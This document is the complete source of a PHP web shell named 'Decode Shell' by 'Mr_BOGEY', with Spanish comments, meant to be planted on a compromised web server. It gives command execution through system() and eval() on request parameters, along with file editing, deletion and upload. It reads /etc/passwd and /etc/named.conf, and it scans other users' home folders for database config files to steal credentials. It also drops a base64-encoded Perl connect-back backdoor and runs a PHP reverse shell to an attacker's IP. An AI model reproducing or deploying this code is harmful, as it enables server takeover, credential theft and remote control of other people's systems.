1. <html>
  2. <body background="http://i55.tinypic.com/2ic9u6o.gif">
  3. <font color="#ECF8E0">
  5. <?php
  6. //_________________1700000000071
  7. //____________705800711___1778$$$$$01
  8. //________70$501________________7$$$$$$0
  9. //______8$$0______________________1$$$$$$$1
  10. //____8$47_____________1001_________$$$$$$$$1
  11. //___$$7______________$$$$$$________5$$$$$$$$5
  12. //__$$________________$$$$$$7_______5$$$$$$$$$$
  13. //_$$__________________8$$51________$$$$$$$$$$$$
  14. //0$_______________________________5$$$$$$$$$$$$$
  15. //$7_____________________________7$$$$$$$$$$$$$$$
  16. //$____________________________0$$$$$$$$$$$$$$$$$4
  17. //$____________________705$$$$$$$$$$$$$$$$$$$$$$$$
  18. //$________________0$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  19. //$4_____________$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  20. //0$____________$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$7
  21. //_$$__________$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  22. //__$$________1$$$$$$$$$41__0$$$$$$$$$$$$$$$$$$$
  23. //___$$1______0$$$$$$$$$1____4$$$$$$$$$$$$$$$$$
  24. //____8$5_____1$$$$$$$$$8___74$$$$$$$$$$$$$$$5
  25. //_____1$$0____8$$$$$$$$40448$$$$$$$$$$$$$$$
  26. //_______18$57__0$$$$$$$$888$$$$$$$$$$$$$8
  27. //__________708870$$$$$$$$$$$$$$$$$$$$0
  28. //_____________771174$$$$$$$$$$$807
  29. //________________77110000000017
  30. //_____ ______ _____ ____ _____ ______
  31. // | __ \| ____/ ____/ __ \| __ \| ____|
  32. // | | | | |__ | | | | | | | | | |__
  33. // | | | | __|| | | | | | | | | __|
  34. // | |__| | |___| |___| |__| | |__| | |____
  35. // |_____/|______\_____\____/|_____/|______|
  36. // ____ __ __ ____
  37. // | _ \ | \/ | | _ \
  38. // | |_) |_ _ | \ / |_ __| |_) | ___ __ _ _ _ ___ _ _
  39. // | |_) | |_| | | | | | | | |_) | (_) | (_| | |_| | __| |_| |
  40. // |____/ \__, | |_| |_|_| |____/ \___/ \__, |\__,_|\___|\__, |
  41. // __/ ______ __/ | __/ |
  42. // |___|______| |___/ |___/
  48. error_reporting(0); //nos mostrara 0 reportes
  49. $me = basename(__FILE__); // la aplicacion decode
  50. $ruta = dirname(__FILE__)."/";
  52. if(isset($_GET['dir']))
  53. {
  54. chdir($_GET['dir']);
  55. }
  59. $array_codif = Array(
  60. "UTF-8",
  61. "ISO-8859-1",
  62. "ISO-8859-15"
  63. );
  65. //Por defecto
  66. $codificacion = "ISO-8859-1";
  67. $n = "noce";
  68. //si ubiera algo en get
  69. if (isset($_GET)){
  70. foreach($_GET as $campo=>$valor){
  71. switch ($campo) {
  72. //carpeta o archivo
  74. case "file": //archivo
  75. $ruta = htmlspecialchars($valor, ENT_QUOTES);
  76. if (get_magic_quotes_gpc() == 1) $ruta = stripslashes($ruta);
  77. break;
  79. case "una-codificacion":
  80. $codificacion = htmlspecialchars($valor, ENT_QUOTES);
  81. if (get_magic_quotes_gpc() == 1) $codificacion = stripslashes($codificacion);
  82. break;
  83. case "sisinfo":
  84. $cmd = 'set';
  86. echo "<fieldset > <pre>".shell_exec($cmd)."</fieldset></pre>";
  87. break;
  89. case "phpinfo":
  90. phpinfo();
  91. break;
  93. case "scanner":
  95. echo "<h2> <a href=\"?\"> <<**Regresar </a></h2>";
  96. echo "
  97. <fieldset class=\"cmd\">
  98. <h1>leer docuemento[read file]<h1>
  99. <form method=\"GET\" NAME=\"file\" action\"?\">
  100. <INPUT type=\"text\" name=\"file\" class=\"cmd\" size=\"30\">
  101. <input type=\"submit\" class=\"cmd\" name=\"enviar\">
  102. </fieldset></form> </h2>";
  104. echo ''; ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: Safe_mode = On'); set_time_limit(0); @$passwd = fopen('/etc/passwd','r'); if (!$passwd) { die('[-] Error : Coudn`t Read /etc/passwd'); } $pub = array(); $users = array(); $conf = array(); $i = 0; while(!feof($passwd)) { $str = fgets($passwd); if ($i > 100) { $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); } } } $i++; } echo '
  106. Scanconfig 4.0
  107. Created by uzanc | 2011 - Tangerang - Indonesia
  109. Dedicated To : www.code-security.com - www.hacker-cisadane.org
  110. Thank to : Yogyacarderlink - Indonesian Cyber - Hacker Newbie - Devilzc0de - Lumajangcrew And All Forum Hacker Indonesia<br><br>
  112. [+]=====================================[ START ]========================================[+]<br>
  113. '; foreach ($users as $user) { echo "\n <br>
  115. [+]---------------------------------- [ SCAN CONFIG ]-------------------------------------[+]<br>
  116. \n"; $path = "/home/$user/public_html/"; read_dir($path,$user); } echo "\n
  118. [+]=====================================[ FINISH ]========================================[+]<br><br>
  119. \n"; echo "\n [+] Scanners have been completed | Thank you been using this tools [+]<br><br><br><br>\n"; function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath = "$path$file"; if (($file != '.') and ($file != '..')) { if (is_readable($fpath)) { $dr = $fpath."/"; if (is_dir($dr)) { read_dir($dr,$username); } else { if ( ($file=='config.php') or ($file=='config.inc.php') or ($file=='conf.php') or ($file=='settings.php') or ($file=='wp_config.php') or ($file=='inc.php') or ($file=='config.php') or ($file=='globals.php') or ($file=='settings.php') or ($file=='setup.php') or ($file=='dbconf.php') or ($file=='setup.php') or ($file=='common.php') or ($file=='config_global.php') or ($file=='db_connect.php') or ($file=='var.php') or ($file=='global.inc.php') or ($file=='global.php') or ($file=='config.inc') or ($file=='mysql.php') or ($file=='const.inc.php') or ($file=='dbc.php') or ($file=='dbconfig.php') or ($file=='db_settings.php') or ($file=='dbsettings.php') or ($file=='_config.php') or ($file=='db.inc.php') or ($file=='dbconnect.php') or ($file=='CHANGELOG.php') or ($file=='connect.php') or ($file=='configure.php') or ($file=='connect.php') or ($file=='config_global.php') or ($file=='configuration.php') or ($file=='db.php') or ($file=='connect.inc.php') or ($file=='dbconnect.inc.php') or ($file=='konek.php') or ($file=='koneksi.php') or ($file=='setting.php') or ($file=='wp-config.php') or ($file=='db.php') or ($file=='master.php') or ($file=='include.php') or ($file=='includes.php') or ($file=='conect.php') or ($file=='database.php') or ($file=='DB.php') or ($file=='settings.php') or ($file=='func.php') or ($file=='konfig.php') or ($file=='konfigurasi.php') or ($file=='function.php') or ($file=='functions.php') or ($file=='configure.php') or ($file=='conection.php')) { echo " [+] $fpath\n
  120. "; } } } } } } } echo '';
  126. break;
  132. case 'delete': //Delete a file
  134. if(isset($_POST['yes']))
  135. {
  136. if(unlink($_GET['file']))
  137. {
  138. print "Archivo Borrado";
  139. }
  140. else
  141. {
  142. print "NO SE PUDO BORRAR OPERACION FALLIDA O ARCHIVO NO ENCONTRADO";
  143. }
  144. }
  147. if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
  148. {
  149. print " <fieldset class=\"fielset1\"> <legend> Desea Eliminar</legend> ".$_GET['file']."?<br>
  150. <form action=\"".$me."?echo&delete&file=".$_GET['file']."\" method=POST>
  151. <input type=hidden name=yes value=yes>
  152. <center> <input type=submit value=\"Si [borrar]\"> </center></fieldset>
  153. ";
  154. }
  157. break;
  162. case 'edit': //Edit a fie
  163. if(isset($_POST['editform']))
  164. {
  165. $f = $_GET['file'];
  166. $fh = fopen($f, 'w') or print "Error al abrir archivo!";
  167. fwrite($fh, $_POST['editform']) or print "no se pudo fuardar el archivo!";
  168. fclose($fh);
  169. }
  170. print "<font color=white >";
  171. print "<legend> Editar Archivo </legend> <b>".$_GET['file']."</b> <br><br><form action=\"".$me."?echo&edit&file=".$_GET['file']."\" method=POST> <table border=1><td><td><fieldset ><legend>Eddicion</legend><textarea cols=90 rows=15 name=\"editform\">";
  173. if(file_exists($_GET['file']))
  174. {
  175. $rd = file($_GET['file']);
  176. foreach($rd as $l)
  177. {
  178. print htmlspecialchars($l);
  179. }
  180. }
  182. print "</textarea> </fieldset> <td><td></table><input type=submit value=\"Save\"></form>";
  185. break;
  187. case "echo":
  189. print " <script>alert('se salvo el documento correctamente')</script> <font size=\"5\"> ---------SE EDITO CORRECTAMENTE EL ARCHIVO ------</font> ";
  190. echo "<script>setTimeout('top.location = \'?file=\'', 1000);</script>";
  191. break;
  195. case 'rename': //renombrar
  197. if(isset($_POST['fileold']))
  198. {
  199. if(rename($_POST['fileold'],$_POST['filenew']))
  200. {
  201. print "Archivo Renombrado.";
  202. }
  203. else
  204. {
  205. print "NO SE PUDO RENOMBRAR EL ARCHIVO FAILED!.";
  206. }
  208. }
  209. if(isset($_GET['file']))
  210. {
  211. $file = basename(htmlspecialchars($_GET['file']));
  212. }
  213. else
  214. {
  215. $file = "";
  216. }
  218. print "en la carpeta ".realpath('.').".<br>
  219. <form action=\"".$me."?rename&dir=".realpath('.')."\" method=POST>
  220. <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
  221. <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
  222. <input type=submit value=\"Rename file\">
  223. </form>";
  224. break;
  228. case 'upload':
  230. if(isset($_FILES['uploadedfile']['name']))
  231. {
  232. $target_path = realpath('.').'/';
  233. $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
  235. if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
  236. print "File:". basename( $_FILES['uploadedfile']['name']).
  237. " se ha subido el archivo";
  238. } else{
  239. echo "Decode tubo problemas al subir el archivo";
  240. }
  241. }
  243. break;
  247. case 'ok':
  250. print " <script>alert('se salvo el documento correctamente')</script> <font size=\"5\"> ---------SE EDITO CORRECTAMENTE EL ARCHIVO ------</font> ";
  251. echo "<script>setTimeout('top.location = \'?file=\'', 2000);</script>";
  252. break;
  256. case 'domains':
  258. echo "<a href=?>REGRESAR SHELL [DECODE] </a>";
  259. echo "<title># Domains & Users</title>
  261. <style>
  263. font-family:Verdana,tahoma; color: white; font-size:10px; }
  265. A:link {text-decoration: none;color: red;}
  267. A:active {text-decoration: none;color: red;}
  269. A:visited {text-decoration: none;color: red;}
  271. A:hover {text-decoration: underline; color: red;}
  273. #new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
  275. tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
  277. </style>
  279. <p align=center># Domains & Users</p>
  281. <p align=center>Karar alShaMi t00l with PHP .. Maked By Lagripe-Dz ..?!</p><center>";
  285. $d0mains = @file("/etc/named.conf");
  289. if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }
  293. echo "<table align=center border=1>
  295. <tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
  299. foreach($d0mains as $d0main){
  303. if(eregi("zone",$d0main)){
  307. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  309. flush();
  313. if(strlen(trim($domains[1][0])) > 2){
  317. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  321. echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  325. }}}
  329. echo "</table>
  331. <p align='center'>
  333. (c)0d3d By <a href='https://www.facebook.com/ZHCtehUnstopable'>THA Disastar</a> | <a href='https://www.facebook.com/ZHCtehUnstopable'>https://www.facebook.com/ZHCtehUnstopable</a><br>
  335. MaDe in THA Disastar 2o11 (r)
  337. </p>
  339. ";
  341. break;
  343. case 'decode64' ;
  345. if (isset($_GET['decode64'])) {
  346. echo"<fieldset class=\"fieldset1\"> ";
  347. echo '<center><h2>Base64 encode/decoder</h2><br>
  348. <form action="" method=POST>
  349. <b>Encode :</b> <input type=text class=\"input\"name=code size=50><input type=submit class=\"button\" name=cod value=Encode>
  350. </form>
  351. <form action="" method=POST>
  352. <b>Decode :</b> <input type=text name=decode size=50><input type=submit class=\"button\" name=deco value=Decode>
  353. </form></center></fieldset>
  354. ';
  355. }
  356. if (isset($_POST['cod'])) {
  357. echo "<center>";
  358. echo "<br><br>Texto<br><br><fieldset>".$_POST['code']."</fieldset><br><br>Resultado<br><br><fieldset>";
  359. echo base64_encode($_POST['code']) ;
  360. echo "</fieldset></center><br><br>";
  361. }
  363. if (isset($_POST['deco'])) {
  365. echo "<center><br><br><br><br><fieldset>".$_POST['decode']." </fieldset><br><br>Result<br><br><fieldset>";
  366. echo base64_decode($_POST['decode']);
  367. echo "</fieldset></center><br><br>";
  368. }
  370. break;
  372. case 'exec';
  374. echo "
  375. <h1>Consola Ejecutar :</h1>
  376. <FORM METHOD=\"GET\" NAME=exec ACTION=\"?\">
  377. <INPUT TYPE=\"text\" class=\"cmd\" NAME=exec size=\"30\" >
  378. <INPUT TYPE=\"submit\" VALUE=\"Enviar\">
  379. </FORM>
  380. </fieldset>
  381. <hr>
  382. <pre> ";
  383. echo "<textarea cols=\"55\" rows=\"30\" class=\"cmd\" >";
  384. $var = $_GET['exec'];
  385. $sysm = system($var);
  387. echo "</textarea>";
  390. break;
  392. case 'te';
  394. echo " }
  395. <center>
  396. <h2> introduce codigo</h2>
  398. <form action=? method=\"GET\">
  399. <textarea value=\"te\" name=\"te\"></textarea>
  400. <input type=\"submit\" value = \"enviar\">
  401. </form>
  403. ";
  404. echo "resultado <textarea rows=\"5\" cols=\"105\">";
  405. if (isset($_GET['te'])) {
  406. $eva = eval($_GET['te']) ;
  407. echo "</textarea>";
  408. }
  412. break;
  414. case 'backdoor1';
  416. $gf = "/tmp/bc.pl";
  418. $f = fopen($gf,'w');
  419. $def = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiMgUHJpdjggKiogUHJpdjggKiogUHJpdjgNCiMgSVJBTiBIQUNLRVJTIFNBQk9UQUdFIENvbm5lY3QgQmFjayBTaGVsbA0KIyBjb2RlIGJ5OkxvckQNCiMgV2UgQXJlIDpMb3JELUMwZDNyLU5ULVx4OTANCiMgRW1haWw6TG9yREBpaHN0ZWFtLmNvbQ0KIw0KI2xvcmRAU2xhY2t3YXJlTGludXg6L2hvbWUvcHJvZ3JhbWluZyQgcGVybCBkYy5wbA0KIy0tPT0gQ29ubmVjdEJhY2sgQmFja2Rvb3IgU2hlbGwgdnMgMS4wIGJ5IExvckQgb2YgSVJBTiBIQUNLRVJTIFNBQk9UQUdFID09LS0NCiMNCiNVc2FnZTogZGMucGwgW0hvc3RdIFtQb3J0XQ0KIw0KI0V4OiBkYy5wbCAxMjcuMC4wLjEgMjEyMQ0KI2xvcmRAU2xhY2t3YXJlTGludXg6L2hvbWUvcHJvZ3JhbWluZyQgcGVybCBkYy5wbCAxMjcuMC4wLjEgMjEyMQ0KIy0tPT0gQ29ubmVjdEJhY2sgQmFja2Rvb3IgU2hlbGwgdnMgMS4wIGJ5IExvckQgb2YgSVJBTiBIQUNLRVJTIFNBQk9UQUdFID09LS0NCiMNCiNbKl0gUmVzb2x2aW5nIEhvc3ROYW1lDQojWypdIENvbm5lY3RpbmcuLi4gMTI3LjAuMC4xDQojWypdIFNwYXduaW5nIFNoZWxsDQojWypdIENvbm5lY3RlZCB0byByZW1vdGUgaG9zdA0KDQojYmFzaC0yLjA1YiMgbmMgLXZ2IC1sIC1wIDIxMjENCiNsaXN0ZW5pbmcgb24gW2FueV0gMjEyMSAuLi4NCiNjb25uZWN0IHRvIFsxMjcuMC4wLjFdIGZyb20gbG9jYWxob3N0IFsxMjcuMC4wLjFdIDMyNzY5DQojLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgTG9yRCBvZiBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgPT0tLQ0KIw0KIy0tPT1TeXN0ZW1pbmZvPT0tLQ0KI0xpbnV4IFNsYWNrd2FyZUxpbnV4IDIuNi43ICMxIFNNUCBUaHUgRGVjIDIzIDAwOjA1OjM5IElSVCAyMDA0IGk2ODYgdW5rbm93biB1bmtub3duIEdOVS9MaW51eA0KIw0KIy0tPT1Vc2VyaW5mbz09LS0NCiN1aWQ9MTAwMShsb3JkKSBnaWQ9MTAwKHVzZXJzKSBncm91cHM9MTAwKHVzZXJzKQ0KIw0KIy0tPT1EaXJlY3Rvcnk9PS0tDQojL3Jvb3QNCiMNCiMtLT09U2hlbGw9PS0tDQojDQokc3lzdGVtID0gJy9iaW4vYmFzaCc7DQokQVJHQz1AQVJHVjsNCnByaW50ICJJSFMgQkFDSy1DT05ORUNUIEJBQ0tET09SXG5cbiI7DQppZiAoJEFSR0MhPTIpIHsNCnByaW50ICJVc2FnZTogJDAgW0hvc3RdIFtQb3J0XSBcblxuIjsNCmRpZSAiRXg6ICQwIDEyNy4wLjAuMSAyMTIxIFxuIjsNCn0NCnVzZSBTb2NrZXQ7DQp1c2UgRmlsZUhhbmRsZTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIGRpZSBwcmludCAiWy1dIFVuYWJsZSB0byBSZXNvbHZlIEhvc3RcbiI7DQpjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJEFSR1ZbMV0sIGluZXRfYXRvbigkQVJHVlswXSkpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gQ29ubmVjdCBIb3N0XG4iOw0KcHJpbnQgIlsqXSBSZXNvbHZpbmcgSG9zdE5hbWVcbiI7DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi4gJEFSR1ZbMF0gXG4iOw0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbCBcbiI7DQpwcmludCAiWypdIENvbm5lY3RlZCB0byByZW1vdGUgaG9zdCBcbiI7DQpTT0NLRVQtPmF1dG9mbHVzaCgpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCI+JlNPQ0tFVCIpOw0KcHJpbnQgIklIUyBCQUNLLUNPTk5FQ1QgQkFDS0RPT1IgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAtLT09U3lzdGVtaW5mbz09LS0gOyB1bmFtZSAtYTtlY2hvOw0KZWNobyAtLT09VXNlcmluZm89PS0tIDsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tIDsgcHdkO2VjaG87IGVjaG8gLS09PVNoZWxsPT0tLSAiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCiNFT0Yg
  420. ";
  421. fwrite($f, base64_decode($def));
  422. fclose($f);
  424. echo "<font size=\"5\"><a href=\"?exec=\">Ejecutar</a></font>";
  425. echo "EXEXCUATAR /tmp/bc.pl ip & port <br> EXAMPLE :/tmp/bc.pl 189.0.0.1 2121";
  428. break;
  430. case 'backs';
  434. //Connect Back -Firewall Bypass
  436. if (isset($_GET['backs'])){
  438. echo " <fieldset class=\"cmd\"> <br>Connect back Shell , bypass Firewalls<br>
  440. For user :<br>
  442. nc -l -p 1019 <br>
  444. <hr>
  446. <form method='POST' action=''><br>
  448. Your IP & BindPort:<br>
  450. <input type='text' class=\"cmd\" size='25' name='mip' >
  452. <input type='text' class=\"cmd\" name='bport' size='5' value='1019'><br>
  454. <input type='submit' value='Connect Back'>
  456. </fieldset></form>";
  458. $mip=$_POST['mip'];
  460. $bport=$_POST['bport'];
  462. if ($mip <> "")
  464. {
  466. $fp=fsockopen($mip , $bport , $errno, $errstr);
  468. if (!$fp){
  470. $result = "Error: could not open socket connection";
  472. }
  474. else {
  476. fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n");
  478. while(!feof($fp)){
  480. fputs ($fp," bash # ");
  482. $result= fgets ($fp, 4096);
  484. $message=`$result`;
  486. fputs ($fp,"--> ".$message."\n");
  488. }
  490. fclose ($fp);
  492. }
  494. }
  496. }
  499. break;
  501. case 'mail';
  502. echo "
  503. <form method='post' name='Emailform' action='?mail&send' target='_self' onSubmit='return checkemail(this)'>
  504. <table border='0' cellspacing='0' cellpadding='4' width='90%' id='ContactMe'>
  505. <tr>
  506. <td width='30%'><div align='right'>Name:</div></td>
  507. <td width='70%'><input type='text' name='name' size='30' /></td>
  508. </tr>
  509. <tr>
  510. <td><div align='right'>Email:</div></td>
  511. <td><input type='text' name='email' size='30' /></td>
  512. </tr>
  513. <tr>
  514. <td><div align='right'>Website:</div></td>
  515. <td><input type='text' name='site' size='30' /></td>
  516. </tr>
  517. <tr>
  518. <td><div align='right'>Message:</div></td>
  519. <td><textarea name='message' cols='40' rows='4'></textarea></td>
  520. </tr>
  521. <tr>
  522. <td>&nbsp;</td>
  523. <td>
  524. <input type='submit' name='submit' value='Submit' />
  525. <input type='reset' name='reset' value='Reset' />
  526. </td>
  527. </tr>
  528. </table>
  529. </form>
  531. ";
  532. break;
  534. case 'send';
  536. $email = $_REQUEST['email'] ;
  537. $name = $_REQUEST['name'] ;
  538. $site = $_REQUEST['site'] ;
  539. $subject = "Message from: $name";
  540. $message = $_REQUEST['message'] ;
  541. $headers = "[email protected]";
  542. $body = "From: $name \n\n Email: $email \n\n Wesbite: $site \n\n Message: $message";
  543. $sent = mail($to, $subject, $body, $headers) ;
  544. if($sent)
  545. {echo "MENSAJE ENVIADO";}
  546. else
  547. {echo "MENSAJE NO ENVIADO";}
  550. }
  551. }
  552. }
  555. if ($ruta == "") $ruta = dirname(__FILE__)."/";
  558. $presenta_nodos = "";
  561. $presenta_archivo = "";
  564. if (is_dir($ruta)){//Abrir Carpeta
  566. $ruta = realpath($ruta)."/";
  568. $presenta_nodos = explora_ruta($ruta);
  569. } else {// Ver Archivo
  570. $ruta = realpath($ruta);
  572. $presenta_nodos = explora_ruta(dirname($ruta)."/");
  574. $presenta_archivo = "<br />Contenido : ".
  575. $ruta."<pre>".
  576. explora_archivo($ruta, $codificacion).
  577. "</pre>";
  578. }
  585. function explora_ruta($ruta){
  587. $cadena = "";
  589. $barra = "";
  590. $xsf = $_GET['file'];
  593. $manejador = @dir($ruta);
  594. while ($recurso = $manejador->read()){
  596. $nombre = "$ruta$recurso";
  597. if (@is_dir($nombre)) {//ES UNA CARPETA
  598. //Agregamos la barra al final
  599. $barra = "/";
  600. $cadena .= "Abrir Carpeta:> ";
  601. $xsf = "";
  602. } else {//ES UN ARCHIVO
  603. //No agregamos barra
  604. $barra = "";
  606. $cadena .= "Abrir Op <a href=\"?delete&file=".realpath($nombre)."\"> [-D-]</a> &nbsp;&nbsp; <a href=\"?edit&file=".realpath($nombre)."\">[-E-]</a>&nbsp;&nbsp; <a href=\"?rename&file=".realpath($nombre)."\">[R]</a>&nbsp;&nbsp;";
  608. $xsf = "gs";
  610. }
  612. if (@is_readable($nombre)){
  613. $cadena .= "<a href=\"".$_SERVER["PHP_SELF"].
  614. "?file=$nombre$barra\">$recurso$barra</a>";
  615. } else {
  616. $cadena .= "$recurso$barra";
  617. }
  618. $cadena .= "<br />";
  619. }
  620. $manejador->close();
  621. return $cadena;
  622. }
  625. function explora_archivo($ruta, $codif){
  627. ob_start();
  628. readfile($ruta);
  630. $contenido = ob_get_contents();
  632. ob_clean();
  634. return htmlentities($contenido, ENT_QUOTES, $codif);
  635. }
  636. //declarando datos
  638. $server = $_SERVER['SERVER_SOFTWARE'] ;
  639. $addres = $_SERVER['SERVER_ADDR'];
  640. $doc = $_SERVER['DOCUMENT_ROOT'] ;
  641. $php = $_SERVER['SERVER_ADMIN'] ;
  642. $uname = php_uname();
  647. ///sacando files
  657. ?>
  659. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  660. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  661. <html xmlns="http://www.w3.org/1999/xhtml" lang="es" xml:lang="es">
  662. <head>
  663. <script>
  667. </script>
  669. <script language=javascript>
  670. /// BARRA PRESENTACION
  677. var rev = "fwd";
  685. function titlebar(val)
  693. {
  701. var msg = "Decode Shell V.1 *Mr_BOGEY * [ ZeroxHack ]";
  709. var res = " ";
  717. var speed = 50;
  725. var pos = val;
  741. msg = " "+msg+"";
  749. var le = msg.length;
  757. if(rev == "fwd"){
  765. if(pos < le){
  773. pos = pos+1;
  781. scroll = msg.substr(0,pos);
  789. document.title = scroll;
  797. timer = window.setTimeout("titlebar("+pos+")",speed);
  805. }
  813. else{
  821. rev = "bwd";
  829. timer = window.setTimeout("titlebar("+pos+")",speed);
  837. }
  845. }
  853. else{
  861. if(pos > 0){
  869. pos = pos-1;
  877. var ale = le-pos;
  885. scrol = msg.substr(ale,le);
  893. document.title = scrol;
  901. timer = window.setTimeout("titlebar("+pos+")",speed);
  909. }
  917. else{
  925. rev = "fwd";
  933. timer = window.setTimeout("titlebar("+pos+")",speed);
  941. }
  949. }
  957. }
  973. titlebar(0);
  979. ///BARRA FIN
  981. </script>
  983. <meta http-equiv="X-UA-Compatible" content="IE=8" />
  984. ...
  986. <style type="text/css">
  987. p.one
  988. {
  989. border-style:solid;
  990. border-color:#0000ff;
  991. }
  993. .input {
  994. border: 1px solid #006;
  995. background: #ffc;
  996. }
  997. .button {
  998. border: 1px solid #006;
  999. background: #3ADF00;
  1000. }
  1001. .fieldset
  1002. {
  1003. color:#00f;
  1004. background-color:#585858;
  1005. }
  1007. .fieldset1
  1008. {
  1009. color:#298A08;
  1010. background-color:#04B404;
  1011. }
  1012. .tablas
  1013. {
  1014. color:#FF0040;
  1015. background-color:#00FFFF;
  1016. font-size:0.875em;
  1017. }
  1018. .cmd
  1019. {
  1020. background-color:#848484;
  1021. }
  1022. .textss
  1023. body {
  1024. font-family: “Kimberley”;
  1025. }
  1026. </style>
  1027. <style type=”text/css” media=”screen”>
  1029. @font-face {
  1030. font-family: “Kimberley”;
  1031. src: url(http://www.miservidor.com/fuentes/kimberle.ttf) format(“truetype”);
  1032. }
  1034. </style>
  1040. </head>
  1041. <font color="red">
  1043. <body>
  1047. </font><center>
  1048. <img src="https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash3/564758_222391781222196_2001780541_n.jpg" alt height="150" width="600">
  1049. <h1> <font color="green"> Break <font color="#FFFFFF"> Security <font color="RED"> Hackers & Mr_Boguey!!! </font></font></font></h1>
  1051. <ul></center>
  1053. <font size="5">
  1054. <?php
  1055. //server
  1056. $spa = $espacio_disponible / 1000000000 ." GB";
  1057. $opciones = " ";
  1058. if (ini_get("safe_mode")){
  1059. $opciones .= " On<br>";
  1060. } else {
  1061. $opciones .= " Off<br>";
  1062. }
  1063. echo "Safe Mode .$opciones";
  1065. echo "<table border=\"2\" class=\"tablas\">
  1066. <tbody>
  1067. <tr>
  1068. <td>Ip Addres </td>
  1069. <td>admin </td>
  1070. <td>root </td>
  1071. <td>Sis Web </td>
  1074. </tr>
  1075. <tr>
  1076. <td>$addres</td>
  1077. <td>$php</td>
  1078. <td>$doc</td>
  1079. <td>$server<td>
  1081. </tr>
  1083. <tr>
  1084. <td>Espacio Disp </td>
  1085. <td>Safe_Mode </td>
  1086. <td> O.s </td>
  1087. <th>Credits</th>
  1089. </tr>
  1090. <tr>
  1092. <th></th>
  1093. <th>$opciones</th>
  1094. <td>$uname</td>
  1095. <th>Created By Mr_Bogey & Break Secuirty </th>
  1097. </tr>
  1098. </tbody>
  1099. </table>
  1101. ";
  1104. ?>
  1107. <br>
  1108. <br>
  1109. <br>
  1111. <fieldset class="fieldset1"> -*-*<a href=<?php echo $me; ?>><code> inicio </a>-*-*<a href="?sisinfo">infoSistem </a>-*-* <a href="?phpinfo= "> PhpInfo </a> -*-* <code> <a href="?scanner" > Scanner Jump</a>-*-* <a href="?domains"><code>Scan Dominios </a></code>-*-* <a href="?decode64"><code>Base64</code></a>-*-* <a href="?exec"><code>[CMD]</code></a></fieldset>
  1113. </font>
  1114. </ul>
  1115. <style type="text/css">
  1116. a:link { color: yellow; }
  1117. .especial:link { color: green; }
  1118. </style>
  1120. <h3>Ir Ah Carpeta</h3>
  1121. <form action="<?php echo $_SERVER["PHP_SELF"] ?>" method="get">
  1122. Ruta <small>(En Windows pueden usarse ambas barras "/" y "\")</small>
  1123. <br /><br><input type="text" name="una-ruta> <br>"
  1124. ><br><?php echo $ruta; ?> </textarea><br />
  1125. Codificación para ver archivos por codificacion win:
  1126. <select name="una-codificacion">
  1128. <?php
  1129. foreach ($array_codif as $i=>$val){
  1130. echo "<option value=\"$val\"";
  1131. if ($codificacion == $val) echo " selected=\"selected\"";
  1132. echo ">$val</option>";
  1133. }
  1134. ?>
  1136. </select><br />
  1137. <input type="submit" value="enviar" />
  1138. </form>
  1140. <h4><br> <fieldset style="color:#00FFFF; background-color:#151515 "><?php echo "$presenta_archivo"; ?> </fieldset> </h4>
  1142. <h2> [-D-] Delete&Borrar &nbsp; [-E-] Edit&Editar &nbsp; [-R-] Rename&Renombrar&nbsp; [-P-] Permissions&Permisos </h2>
  1143. <h4><br><fieldset style="color:#00f; background-color:#151515 "> <?php echo "$presenta_nodos"; ?> </fieldset> </h4>
  1147. </body>
  1148. </html>
  1149. <hr>
  1150. <fieldset class="fieldset">
  1151. <legend> ejecutar </legend>
  1152. <h1><font face="Courier" size="6">Consola Ejecutar :</FONT></h1>
  1153. <FORM METHOD="GET" NAME="consol" ACTION="?">
  1154. <INPUT TYPE="text" class="text" NAME="cmd" size="30" >
  1155. <INPUT TYPE="submit" class="button" VALUE="Enviar">
  1156. </FORM>
  1157. </fieldset>
  1158. <hr>
  1159. <pre>
  1160. <?php
  1161. $var = $_GET['cmd'];
  1162. system($var);
